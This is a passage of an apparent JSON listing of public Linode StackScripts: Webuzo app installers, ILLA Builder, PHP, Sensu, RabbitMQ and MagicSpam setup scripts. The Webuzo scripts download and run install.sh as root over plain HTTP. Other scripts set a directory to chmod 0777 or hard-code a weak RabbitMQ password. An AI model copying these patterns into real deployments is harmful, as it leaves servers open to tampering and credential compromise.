Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Admidio and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Admidio has been successfully installed\"\necho \" \"\necho
\"You can now configure Admidio and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 12825, "username":
"bozuslu", "user_gravatar_id": "67f0a5d0710560fd85e82a39cc71a567", "label":
"bayram", "description": "Ek 2", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash", "user_defined_fields": []}, {"id":
9242, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "MeshCMS powered by Webuzo", "description": "MeshCMS is an online editing
system written in Java. It provides a set of features usually included in a
CMS, but it uses a more traditional approach: pages are stored in regular HTML
files and all additional features are file-based, without needing a database.\r\n\r\nMeshCMS
has been thought as a quick tool to edit pages online, manage files and create
some common components like menus, breadcrumbs, mail forms, image galleries
and so on.\r\n\r\nWebuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP,
Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can
get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation
Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the
installation process, access http://your-ip:2004 to configure MeshCMS and Softaculous
Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0,
"logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"MeshCMS powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install MeshCMS and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About MeshCMS :\n# MeshCMS
is an online editing system written in Java.\n# It provides a set of features
usually included in a CMS, but it uses a more traditional approach: pages \n# are
stored in regular HTML files and all additional features are file-based, without
needing a database.\n###########################################################################################################\n\n#
Install MeshCMS Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=385&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
MeshCMS and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, MeshCMS has been successfully installed\"\necho \" \"\necho
\"You can now configure MeshCMS and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193754, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"Illa Builder One-Click", "description": "Illa Builder One-Click App", "ordinal":
0, "logo_url": "", "images": ["linode/ubuntu22.04"], "deployments_total": 0,
"deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n#<UDF
name=\"PORT\" Label=\"ILLA Builder Port\" example=\"Default: 80\" default=\"80\"
/>\n#<UDF name=\"PG_PASSWORD\" Label=\"Postgres Password\" example=\"s3cure_p4ssw0rd\"
/> \n\n## Enable logging \nexec > >(tee /dev/ttyS0 /var/log/stackscript.log)
2>&1\n\n# Apt update/upgrade\napt update\napt upgrade -y\n\n# Install the dependencies
& add Docker to the APT repository\napt install -y apt-transport-https ca-certificates
curl software-properties-common gnupg2 pwgen ufw\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg
| apt-key add -\nadd-apt-repository \"deb [arch=amd64] https://download.docker.com/linux/ubuntu
focal stable\"\n\n# Update & install Docker-CE\napt update\napt install -y docker-ce\n\n#
Check to ensure Docker is running and installed correctly\nsystemctl status
docker\ndocker -v\n\n# Env config\nILLA_HOME_DIR=/var/lib/illa\nPG_VOLUMN=${ILLA_HOME_DIR}/database/postgresql\nWSS_ENABLED=false\nILLA_DEPLOY_MODE=''self-host''\n\n\n#
Init\nmkdir -p ${ILLA_HOME_DIR}\nmkdir -p ${PG_VOLUMN}\nmkdir -p ${ILLA_HOME_DIR}\nchmod
0777 ${PG_VOLUMN} # @todo: chmod for MacOS, the gid is \"wheel\", not \"root\".
and we will fix this later.\n\n# Run\ndocker run -d \\\n --name illa-builder
\\\n -e POSTGRES_PASSWORD=$PG_PASSWORD \\\n -e GIN_MODE=release \\\n -e
PGDATA=/var/lib/postgresql/data/pgdata \\\n -e ILLA_DEPLOY_MODE=$ILLA_DEPLOY_MODE
\\\n -v $PG_VOLUMN:/var/lib/postgresql/data \\\n -p $PORT:80 \\\n illasoft/illa-builder:latest\n\necho
\"\n********************************************************************************\nWelcome
to ILLA Builder!\n********************************************************************************\n #
Website: https://www.illacloud.com\n # Documentation: https://www.illacloud.com/docs/about-illa\n #
Github: https://github.com/illacloud\n # Community Support: https://github.com/orgs/illacloud/discussions\"",
"user_defined_fields": [{"name": "PORT", "label": "ILLA Builder Port", "example":
"Default: 80", "default": "80"}, {"name": "PG_PASSWORD", "label": "Postgres
Password", "example": "s3cure_p4ssw0rd"}]}, {"id": 14362, "username": "ezan",
"user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "install-sensu",
"description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n##\n# Installs the Sensu omnibus package\n#\n#
This package contains all of the different Sensu components. Use specific scripts\n#
to configure each component on different nodes.\n##\nset -eux\n\nsource env.sh\n\n$BASE_PATH/configure-repo-sensu.sh\n\napt-get
install -yq sensu", "user_defined_fields": []}, {"id": 9243, "username": "webuzo",
"user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Little Software
Stats powered by Webuzo", "description": "Little Software Stats is a web application
that allows users to monitor their software.\r\n\r\nLittle Software Stats is
the first runtime intelligence software released as open source and free. It
is designed and developed through MySQL and PHP which will allow most web servers
to run it. Little Software Stats allows users to collect information including
executions, installations, exceptions, and geographical location.\r\n\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Little Software Stats and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Little Software Stats powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Little Software Stats and Softaculous Webuzo\n# Description -\n# About
Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy
Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX,
PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About
Little Software Stats :\n# Little Software Stats is a web application that
allows users to monitor their software.\n# Little Software Stats is the first
runtime intelligence software released as open source and free.\n# It is designed
and developed through MySQL and PHP which will allow most web servers to run
it.\n# Little Software Stats allows users to collect information including
executions, \n# installations, exceptions, and geographical location.\n###########################################################################################################\n\n#
Install Little Software Stats Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=444&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Little Software Stats and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Little Software Stats has been successfully installed\"\necho
\" \"\necho \"You can now configure Little Software Stats and Softaculous Webuzo
at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank
you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields":
[]}, {"id": 1193755, "username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd",
"label": "PHP", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts",
"linode/centos7", "linode/debian8", "linode/fedora22"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "v1.0.1", "script": "#!/usr/bin/env
python\n\n\"\"\"\nPHP StackScript\n\t\n\tAuthor: Ricardo N Feliciano <rfeliciano@linode.com>\n\tVersion:
1.0.1.2\n\tRequirements:\n\t\t- ss://linode/python-library <ssinclude StackScriptID=\"3\">\n\nThis
StackScript both deploys as well as provides a library of functions for\nPHP.
The functions in this StackScript are designed to be run across the \nLinode
Core Distributions:\n\t- Ubuntu\n\t- CentOS\n\t- Debian\n\t- Fedora\n\"\"\"\n\nimport
os\nimport subprocess\nimport sys\n\ntry: # we''ll need to rename included StackScripts
before we can import them\n\tos.rename(\"/root/ssinclude-3\", \"/root/pythonlib.py\")\nexcept:\n\tpass\n\nimport
pythonlib\n\n\ndef php_apache_mod_install():\n\t\"\"\"Install Apache httpd PHP
module.\"\"\"\n\t# add logging support\n\n\tpackage = {\n\t\t''debian'': ''php5'',\n\t\t''redhat'':
''php''\n\t}\n\n\tpythonlib.system_package_install(package[pythonlib.distro[''family'']])\n\n\n#def
php_fpm_install():\n\n\ndef php_install():\n\t\"\"\"Install PHP.\n\t\n\tDefaults
to installing the mod_PHP implemention of PHP.\n\t\"\"\"\n\t# add logging support\n\n\tphp_apache_mod_install()\n\n\ndef
php_install_module(module, update_index=True):\n\t\"\"\"Install a PHP module.\"\"\"\n\n\tprefix
= {\n\t\t''debian'': ''php5-'',\n\t\t''redhat'': ''php-''\n\t}\n\n\tpythonlib.system_package_install(prefix[pythonlib.distro[''family'']]
+ module, update_index)\n\n\ndef php_install_module_common():\n\t\"\"\"Install
most common PHP modules.\n\n\tInstall GD, mcrypt, pear, mysql, and the cli.\"\"\"\n\t\n\tphp_install_module(\"gd\")\n\t#php_install_module(\"mcrypt\",
False) #not in CentOS7 repos :(\n\t#php_install_module(\"pear\", False) # both
families use php-pear so\n\t#installing php5-pear in the Debian family will
fail\n\tphp_install_module(\"mysql\", False)\n\tphp_install_module(\"cli\",
False)\n\trestart()\n\n\ndef restart():\n\tif pythonlib.distro[''family''] ==
\"debian\":\n\t\tsubprocess.call([''service'', ''apache2'', ''restart''])\n\telif
pythonlib.distro[''family''] == \"redhat\":\n\t\tsubprocess.call([''systemctl'',
''restart'', ''httpd''])\n\n\ndef main():\n\t\"\"\"Install PHP.\"\"\"\n\t# add
logging support\n\t\n\tpythonlib.init()\n\tpythonlib.system_update()\n\tphp_install()\n\n\tpythonlib.end()\n\n\nif
__name__ == \"__main__\":\n\tsys.exit(main())", "user_defined_fields": []},
{"id": 1158683, "username": "yoboycc", "user_gravatar_id": "e598b7c77d05460a72ceb4397cbc72f6",
"label": "snapchat", "description": "", "ordinal": 0, "logo_url": "", "images":
["linode/debian11"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "", "script": "#!/bin/bash\nhttps://104-200-19-103.ip.linodeusercontent.com:3000/demos/butcher/index.html",
"user_defined_fields": []}, {"id": 978971, "username": "meenubediShine", "user_gravatar_id":
"ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description": "test",
"ordinal": 0, "logo_url": "", "images": ["linode/alpine3.13"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "revision", "script": "#!/bin/bash\r\ntest",
"user_defined_fields": []}, {"id": 9244, "username": "webuzo", "user_gravatar_id":
"cf0348f835d60e6d133040f49bb36ec5", "label": "DIY powered by Webuzo", "description":
"DIY is an open-source lightweight web application framework based on object-oriented
PHP 5, MySQL, and XSLT. It is fully object-oriented and designed following the
MVC architecture and REST design principles. The idea behind it is not to reinvent
the wheel but instead to combine existing and proven technologies in a convenient
and effective way.\r\n\r\nWebuzo is a Single User Control Panel which helps
users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache,
NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou
can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to
Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure DIY and
Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal":
0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"DIY powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install DIY and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About DIY :\n# DIY is
an open-source lightweight web application framework based on object-oriented
PHP 5, MySQL, and XSLT.\n# It is fully object-oriented and designed following
the MVC architecture and REST design principles.\n# The idea behind it is
not to reinvent the wheel but instead to combine existing and \n# proven technologies
in a convenient and effective way.\n###########################################################################################################\n\n#
Install DIY Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=242&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
DIY and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, DIY has been successfully installed\"\necho \" \"\necho \"You
can now configure DIY and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 665116, "username":
"prod-test-012", "user_gravatar_id": "baf45275c482453fbd50f381af256408", "label":
"test public2", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"", "script": "#!/bin/bash test", "user_defined_fields": []}, {"id": 1193756,
"username": "jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd",
"label": "MagicSpam One-Click", "description": "MagicSpam One-Click", "ordinal":
0, "logo_url": "", "images": ["linode/centos7"], "deployments_total": 0, "deployments_active":
0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# <UDF name=\"control_panel\"
Label=\"The Control Panel to deploy alongside with MagicSpam. Make sure to select
an Image supported by the selected Control Panel. For more information, please
refer to the MagicSpam App Information Sidebar.\" oneof=\"cPanel,Plesk\">\n#
<UDF name=\"ms_license_key\" Label=\"The MagicSpam license key. Please make
sure to use the appropriate license key for the selected Control Panel. For
more information, please refer to the MagicSpam App information sidebar.\">\n#
<UDF name=\"hostname\" label=\"The server''s hostname.\">\n\n# source the stackscript
for the selected control panel\nif [ \"$CONTROL_PANEL\" == \"cPanel\" ]; then\n #
redirect ALL output to the stackscript log for future troubleshooting\n exec
> >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\n\n # cPanel Marketplace
App install\n source <ssinclude StackScriptID=595742>\n\n # set the hostname
to replicate Plesk stackscript for consistent behavior\n IPADDR=$(/sbin/ifconfig
eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n echo $HOSTNAME
> /etc/hostname\n hostname -F /etc/hostname\n echo $IPADDR $HOSTNAME >>
/etc/hosts\nelif [ \"$CONTROL_PANEL\" == \"Plesk\" ]; then\n # Plesk Marketplace
App install\n # NOTE: do not redirect output to the stackscript log to avoid
duplicate log\n # lines as the Plesk stackscript already redirects
to it\n source <ssinclude StackScriptID=593835>\nelse\n echo \"Invalid
control panel option detected. Aborting...\"\n exit 1\nfi\n\n# install MagicSpam
via the installer script\nwget https://www.magicspam.com/download/magicspam-installer.sh
-O /root/magicspam-installer\nchmod +x /root/magicspam-installer\n/root/magicspam-installer
-l \"$MS_LICENSE_KEY\"", "user_defined_fields": [{"name": "control_panel", "label":
"The Control Panel to deploy alongside with MagicSpam. Make sure to select an
Image supported by the selected Control Panel. For more information, please
refer to the MagicSpam App Information Sidebar.", "oneof": "cPanel,Plesk"},
{"name": "ms_license_key", "label": "The MagicSpam license key. Please make
sure to use the appropriate license key for the selected Control Panel. For
more information, please refer to the MagicSpam App information sidebar."},
{"name": "hostname", "label": "The server''s hostname."}]}, {"id": 14364, "username":
"ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-repo-sensu",
"description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\nset -eux\n\ncurl -s http://repos.sensuapp.org/apt/pubkey.gpg
| apt-key add -\necho \"deb http://repos.sensuapp.org/apt sensu main\" > /etc/apt/sources.list.d/sensu.list\n\napt-get
update -q", "user_defined_fields": []}, {"id": 978972, "username": "meenubediShine",
"user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "test", "description":
"test description", "ordinal": 0, "logo_url": "", "images": ["linode/opensuse15.2",
"linode/alpine3.13"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields":
[]}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Joomla 2.5 powered by Webuzo", "description": "Joomla is an award-winning
content management system (CMS), which enables you to build Web sites and powerful
online applications. Many aspects, including its ease-of-use and extensibility,
have made Joomla the most popular Web site software available. Best of all,
Joomla is an open source solution that is freely available to everyone. \r\n\r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo",
"script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\" label=\"Premium Webuzo
License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Joomla 2.5 :\n# Joomla
is an award-winning content management system (CMS), which enables you to build
Web sites and powerful\n# online applications. Many aspects, including its
ease-of-use and extensibility, have made Joomla the most\n# popular Web site
software available. Best of all, Joomla is an open source solution \n# that
is freely available to everyone.\n###########################################################################################################\n\n#
Install Joomla 2.5 Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=18&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Joomla 2.5 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Joomla 2.5 has been successfully installed\"\necho \" \"\necho
\"You can now configure Joomla 2.5 and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9245, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ShopSite
powered by Webuzo", "description": "ShopSite is the easiest-to-use shopping
cart software for small to medium-sized businesses. With our e-commerce software
and intuitive interface, you can have a store online in 15 minutes. With our
rich feature set you won''t outgrow our catalog software, and you will not need
expensive add-ons in order to have a fully functioning cart.\r\n\r\nWith our
rich feature set you won''t outgrow our catalog software, and you will not need
expensive add-ons in order to have a fully functioning cart. \r\n\t\t\t\r\nWebuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc)
on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License
here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn
completion of the installation process, access http://your-ip:2004 to configure
ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"ShopSite powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install ShopSite and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About ShopSite :\n# ShopSite
is the easiest-to-use shopping cart software for small to medium-sized businesses.\n# With
our e-commerce software and intuitive interface, you can have a store online
in 15 minutes.\n# With our rich feature set you won''t outgrow our catalog
software, and you will not need expensive \n# add-ons in order to have a fully
functioning cart.\n###########################################################################################################\n\n#
Install ShopSite Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=410&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
ShopSite and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, ShopSite has been successfully installed\"\necho \" \"\necho
\"You can now configure ShopSite and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 14365, "username":
"ezan", "user_gravatar_id": "40bba314333f02cceb3f40d8a2aabb78", "label": "configure-rabbitmq-sensu",
"description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n##\n# Configures RabbitMQ for Sensu\n#\n#
Dependencies:\n# - RabbitMQ\n##\nset -eux\n\nrabbitmqctl add_vhost sensu\nrabbitmqctl
add_user sensu monit0r\nrabbitmqctl set_permissions -p sensu sensu \".*\" \".*\"
